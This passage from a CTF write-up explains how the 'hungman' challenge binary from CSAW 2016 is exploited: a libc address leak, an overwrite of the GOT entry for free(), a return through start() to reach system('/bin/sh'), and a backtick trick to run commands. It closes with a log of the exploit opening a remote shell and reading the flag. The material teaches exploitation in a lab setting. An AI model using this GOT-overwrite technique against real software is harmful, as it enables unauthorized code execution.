.text:0000000000400A15 mov rax, cs:stdout.text:0000000000400A1C mov ecx, 0 ; n.text:0000000000400A21 mov edx, 2 ; modes.text:0000000000400A26 mov esi, 0 ; buf.text:0000000000400A2B mov rdi, rax ; stream.text:0000000000400A2E call _setvbuf.text:0000000000400A33 mov edx, 200h ```
which is right below .got (actually .data is between but it's pretty small), so we canoverflow it. memset() in main is also an option as the it takes as an argument thehighscore array:```assembly.bss:0000000000602100 highscore_602100 db 200h dup(?) ; DATA XREF: main_400A0D+30?o
.text:0000000000400A33 mov edx, 200h ; n.text:0000000000400A38 mov esi, 0 ; c.text:0000000000400A3D mov edi, offset highscore_602100 ; s.text:0000000000400A42 call _memset```
So all we have to do is to overwrite free() with an address in main(), either 0x400A33for memset() of 0x400A15 for setvbuf(). This sounds great, but these addresses contain0a, so we can't actually overwrite them, because read() will stop reading on new line:```.text:0000000000400E77 call _read```
Instead of returning to main(), we can return to start() which calls main() through libc_start_main. Then we can indirectly end up in main() get execute setvbuf() with/bin/sh as an argument. Solution is not that trivial; take a look at exploit filefor more details.
However we need to overwrite the whole GOT until we reach address 0x6020C0, we need torestore address of libc_start_main. Once we do that we can call system to get a shell.
##### A weird detail.After all shell was open, but I couldn't execute any commands. Running the programlocally, revealed this message in stderr upon exploit termination:``` /bin/sh: 3: Syntax error: EOF in backquote substitution```
I have no idea why this happened, as it was clear that system("/bin/sh\x00") was called. But if we look at it seems that we're in backtick. So if we write as thefirst command a backtick followed by a semicolon we can execute our commandsand get the flag: **flag{this_looks_like_its_a_well_hungman}**
For more details see the exploit file.
### Getting the flag
```root@nogirl:~/ctf/csaw_16# ./hungman_expl.py [+] Winning the game once...[+] Leaking address of free(): 0x7f9776b85a70___a__________________________________________________a___________________________________________a__a______________________________a_____________a______________________________________________a_______________________________________________________________________________________________a________a___________________b______________________________a___________________________________________a__a______b_______________________a__________bb_a___b____________________b___b_________________abb_____b_______b_____b_______________________________________b________b______________b_________ab_______a_c___c__c_c________b______________________________a______c_____c______________________c_______a__a______b_______________________a______cc__bb_a___b_____c______________b___b_________________abb_____b____c__b_____b_______________________________________b__c_____b______________b_________ab_______a_c___c__c_c____d___b_________________________dd___a_____dc___d_c_____________________dc_______a_da______b____d__________________a______cc__bb_a___b_____c______________b___b_________________abb_____b____c__b____db_______________________________________b__c_____b______________b_________ab_______a_c___c__c_c____d___b_________________________dd_e_a_____dce__d_c____________e________dc_______a_da_e____b____d__________________a______cc__bb_a___b_____c______________b___b_________________abb_____b____c__b____db_______________________________________b__c_____b______________b_________ab_______a_c___c__c_c____d__fb______f________________f_dd_e_a_____dce__d_c_____f____f_e________dc_______a_da_e____b____d_______________f__a____f_cc__bb_a___b_____c______________b___b___f_____________abb_____b_f__cf_b_f__db____f___________________ff_____________b__c_____b______________b_________ab_______a_c___c__c_c____d__fb___gg_f_________g______f_dd_e_a_____dce__d_c_____f_gg_f_e________dc_____g_a_da_e____b____d_____g_________f__a____f_cc__bb_a___b_____c______________b_ggb___f__________g__abb_____b_f__cf_b_f__db____f______________g____ff_____________b__c_____b____________g_b______g__ab_______a_c___c__c_c____d__fb___gg_f_________g__h__hf_dd_e_a_____dce__d_c_____f_gg_f_e_h______dc_____g_a_da_e____b____d_____g_________f__a____f_cc__bb_a_h_b_____c______________b_ggb___f__________g__abb____hb_f__cf_b_f__db___hf______________g_h__ff_h___________b__c____hb___h_______hg_b______g__ab_______a_c___c__c_c____d__fb___gg_f_i_______g__h__hf_ddie_a___i_dce__d_c___i_f_gg_f_e_h______dc_____g_a_da_e__i_b_i__d_i_i_g_________f__a____f_cc__bb_a_h_b____ic____________i_b_ggb___f_______i__g__abb____hb_fi_cf_b_fi_db___hf______________g_h__ff_h______i___ib__c__i_hb___h_i_____hg_b___i__g_iab_i_____a_c___c__c_c____d__fbjjjggjfji_______g__h__hf_ddie_a___i_dce__d_cj__i_f_gg_f_e_h______dc_____gja_da_e__ijb_i__d_i_i_g_________f__a____f_cc_jbb_a_h_b____ic____________i_b_ggb___f_______i__g__abb_j__hb_fijcf_b_fi_db___hf______________g_h__ff_h__jj__i___ib__c__i_hb__jh_i_____hg_b___i__g_iab_i_____a_c___c__c_c___kd__fbjjjggjfji_______g__h__hf_ddie_a___i_dce__dkcj__i_f_gg_f_e_h__k___dc_____gja_dake__ijb_i__d_i_i_g_________f__a____f_cc_jbb_a_hkb_k__ic____________i_b_ggb___f___k___i__g__abb_j__hb_fijcf_b_fi_db___hfk_____k___k___g_h__ff_h__jj__i___ib__c__i_hb__jh_i_____hg_b___i__g_iab_i_____a_c___c__c_c___kd_lfbjjjggjfji_______g__h__hf_ddie_a___i_dce__dkcjl_i_f_gg_f_e_h__k___dc_____gja_dakel_ijb_i__d_i_i_g____l____f__a____f_cc_jbb_a_hkb_k__icl__l_l______i_b_ggb___f___k___i__g_labb_j__hb_fijcf_b_fi_db___hfk____lk___k___g_h__ff_h__jj__i___ib_lc__i_hb__jh_i_____hg_b___i_lgliab_i_____a_c___c__c_c___kd_lfbjjjggjfji_______g__h__hfmddie_a___i_dce__dkcjl_i_fmggmf_e_h__k___dc_____gja_dakel_ijb_i__d_i_i_g___ml_m__f__a____f_ccmjbb_a_hkb_k__icl__l_l______i_b_ggbm__f___k___i__g_labb_j__hb_fijcf_b_fi_db___hfk____lkm__k___g_h__ff_h__jj__i___ib_lc__i_hb__jh_i_____hg_b___i_lgliab_imm___a_c___c__c_c___kd_lfbjjjggjfji_______g_nh__hfmddie_ann_i_dce__dkcjlni_fmggmf_e_h__k___dc____ngja_dakelnijb_i__d_i_i_g___mlnm__fn_a____f_ccmjbb_a_hkb_k__icl_nl_l______i_b_ggbm__f___k___i__g_labb_j__hb_fijcf_b_fi_db___hfkn_n_lkm__k___g_h__ff_h__jj__in__ib_lc__i_hb__jh_i_____hg_b___i_lgliab_imm__oa_c___c__c_c___kd_lfbjjjggjfji_______g_nh__hfmddie_ann_iodce__dkcjlniofmggmf_e_h__k___dc__o_ngja_dakelnijb_i__d_i_iog___mlnm__fn_a___of_ccmjbboa_hkb_k__icl_nl_l______i_boggbm__f___k___io_g_labb_j__hb_fijcf_b_fi_db___hfkn_n_lkmo_k___g_h__ff_ho_jj__in__ib_lc__i_hb__jh_i_____hg_b___i_lgliaboimm__oapc___c__c_c___kd_lfbjjjggjfji_______g_nh__hfmddie_annpiodce__dkcjlniofmggmf_e_h__k__pdc__o_ngjapdakelnijbpi_pd_i_iog___mlnm__fn_a___of_ccmjbboa_hkb_k__icl_nl_l___p__i_boggbmp_f___k___io_g_labb_j__hb_fijcf_b_fi_db___hfkn_n_lkmo_k___g_h__ff_ho_jj__in__ib_lc__i_hb__jh_i_____hg_b___i_lgliaboimm_qoapcq_qc__c_c___kd_lfbjjjggjfji_______gqnh__hfmddie_annpiodce_qdkcjlniofmggmf_e_h_qk__pdc__o_ngjapdakelnijbpi_pd_i_iog___mlnm__fn_a_qqof_ccmjbboa_hkb_k__icl_nl_l___p_qi_boggbmp_fqq_k___io_g_labb_jq_hb_fijcf_b_fi_db___hfkn_n_lkmo_k___g_h__ff_hoqjj__in__ib_lc__i_hb__jh_i_____hg_b__qi_lgliaboimm_qoapcq_qc__c_c___kd_lfbjjjggjfji__rr___gqnhr_hfmddie_annpiodce_qdkcjlniofmggmf_e_h_qk__pdc__o_ngjapdakelnijbpi_pd_i_iogr_rmlnm_rfn_a_qqof_ccmjbboa_hkb_k__icl_nl_l___p_qi_boggbmp_fqq_k___io_grlabb_jq_hb_fijcfrb_fi_db___hfkn_n_lkmo_k__rg_h__ff_hoqjj__in_rib_lc__i_hb__jh_i____rhg_br_qi_lgliaboimm_qoapcq_qc__c_c___kd_lfbjjjggjfji__rr___gqnhr_hfmddie_annpiodce_qdkcjlniofmggmf_e_h_qk__pdc__o_ngjapdakelnijbpi_pdsi_iogr_rmlnm_rfn_asqqof_ccmjbboa_hkb_ks_icl_nl_l___p_qisboggbmpsfqq_k___io_grlabb_jq_hb_fijcfrb_fi_db_s_hfkn_n_lkmosk__rg_h__ffshoqjj_sin_rib_lc__i_hb__jh_i_s__rhg_brsqi_lgliaboimm_qoapcq_qc__c_c___kd_lfbjjjggjfji__rrt__gqnhr_hfmddie_annpiodce_qdkcjlniofmggmf_eth_qkt_pdc__o_ngjapdakelnijbpi_pdsi_iogr_rmlnm_rfn_asqqof_ccmjbboa_hkb_ks_icl_nl_l___p_qisboggbmpsfqq_k___io_grlabb_jq_hb_fijcfrb_fi_db_s_hfkntn_lkmosk__rg_h__ffshoqjj_sin_rib_lc__i_hb__jh_i_s__rhg_brsqitlgliaboimm_qoapcq_qcu_c_c___kd_lfbjjjggjfji__rrt__gqnhruhfmddie_annpiodceuqdkcjlniofmggmf_eth_qktupdc__oungjapdakelnijbpiupdsi_iogr_rmlnm_rfn_asqqof_ccmjbboa_hkb_ksuicl_nl_l___puqisboggbmpsfqq_k_u_io_grlabb_jq_hb_fijcfrb_fi_db_s_hfkntn_lkmosku_rg_h__ffshoqjjusin_rib_lc__iuhb__jhuiusuurhgubrsqitlgliaboimm_qoapcqvqcu_cvcv__kd_lfbjjjggjfjivvrrt__gqnhruhfmddie_annpiodceuqdkcjlniofmggmfveth_qktupdc__oungjapdakelnijbpiupdsi_iogr_rmlnm_rfn_asqqof_ccmjbboa_hkb_ksuicl_nl_l___puqisboggbmpsfqqvkvu_io_grlabb_jq_hbvfijcfrbvfi_db_s_hfkntnvlkmoskuvrg_h_vffshoqjjusin_rib_lc__iuhb__jhuiusuurhgubrsqitlgliaboimm_qoapcqvqcu_cvcv__kd_lfbjjjggjfjivvrrt__gqnhruhfmddiewannpiodceuqdkcjlniofmggmfvethwqktupdc__oungjapdakelnijbpiupdsi_iogrwrmlnm_rfnwasqqof_ccmjbboa_hkb_ksuicl_nl_lw__puqisboggbmpsfqqvkvu_io_grlabbwjq_hbvfijcfrbvfi_db_s_hfkntnvlkmoskuvrgwhwvffshoqjjusin_rib_lc__iuhb__jhuiusuurhgubrsqitlgliaboimm_qoapcqvqcu_cvcvx_kd_lfbjjjggjfjivvrrtxxgqnhruhfmddiewannpiodceuqdkcjlniofmggmfvethwqktupdcx_oungjapdakelnijbpiupdsi_iogrwrmlnm_rfnwasqqof_ccmjbboa_hkbxksuiclxnl_lwx_puqisboggbmpsfqqvkvu_ioxgrlabbwjq_hbvfijcfrbvfi_db_sxhfkntnvlkmoskuvrgwhwvffshoqjjusinxrib_lc_xiuhb_xjhuiusuurhgubrsqitlgliaboimmyqoapcqvqcu_cvcvxykdylfbjjjggjfjivvrrtxxgqnhruhfmddiewannpiodceuqdkcjlniofmggmfvethwqktupdcx_oungjapdakelnijbpiupdsi_iogrwrmlnmyrfnwasqqofyccmjbboa_hkbxksuiclxnlylwxypuqisboggbmpsfqqvkvuyioxgrlabbwjqyhbvfijcfrbvfi_db_sxhfkntnvlkmoskuvrgwhwvffshoqjjusinxribylc_xiuhb_xjhuiusuurhgubrsqitlgliaboimmHigh score! change name?
[+] free() at 0x7f9776b85a70[+] system() at 0x7f9776b47380[+] __libc_start_main() at 0x7f9776b22740
[+] Overwriting GOT...[+] Opening Shell... id uid=1000(hungman) gid=1000(hungman) groups=1000(hungman) ls -la total 36 drwxr-x--- 2 root hungman 4096 Sep 16 21:31 . drwxr-xr-x 10 root root 4096 Sep 16 21:31 .. -rw-r--r-- 1 root hungman 220 Sep 16 21:31 .bash_logout -rw-r--r-- 1 root hungman 3771 Sep 16 21:31 .bashrc -rw-r--r-- 1 root hungman 655 Sep 16 21:31 .profile -rw-rw-r-- 1 root root 41 Sep 16 21:13 flag.txt -rwxrwxr-x 1 root root 10464 Sep 16 21:13 hungman cat flag.txt flag{this_looks_like_its_a_well_hungman} exit*** Connection closed by remote host ***root@nogirl:~/ctf/csaw_16# '''
```
___ |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.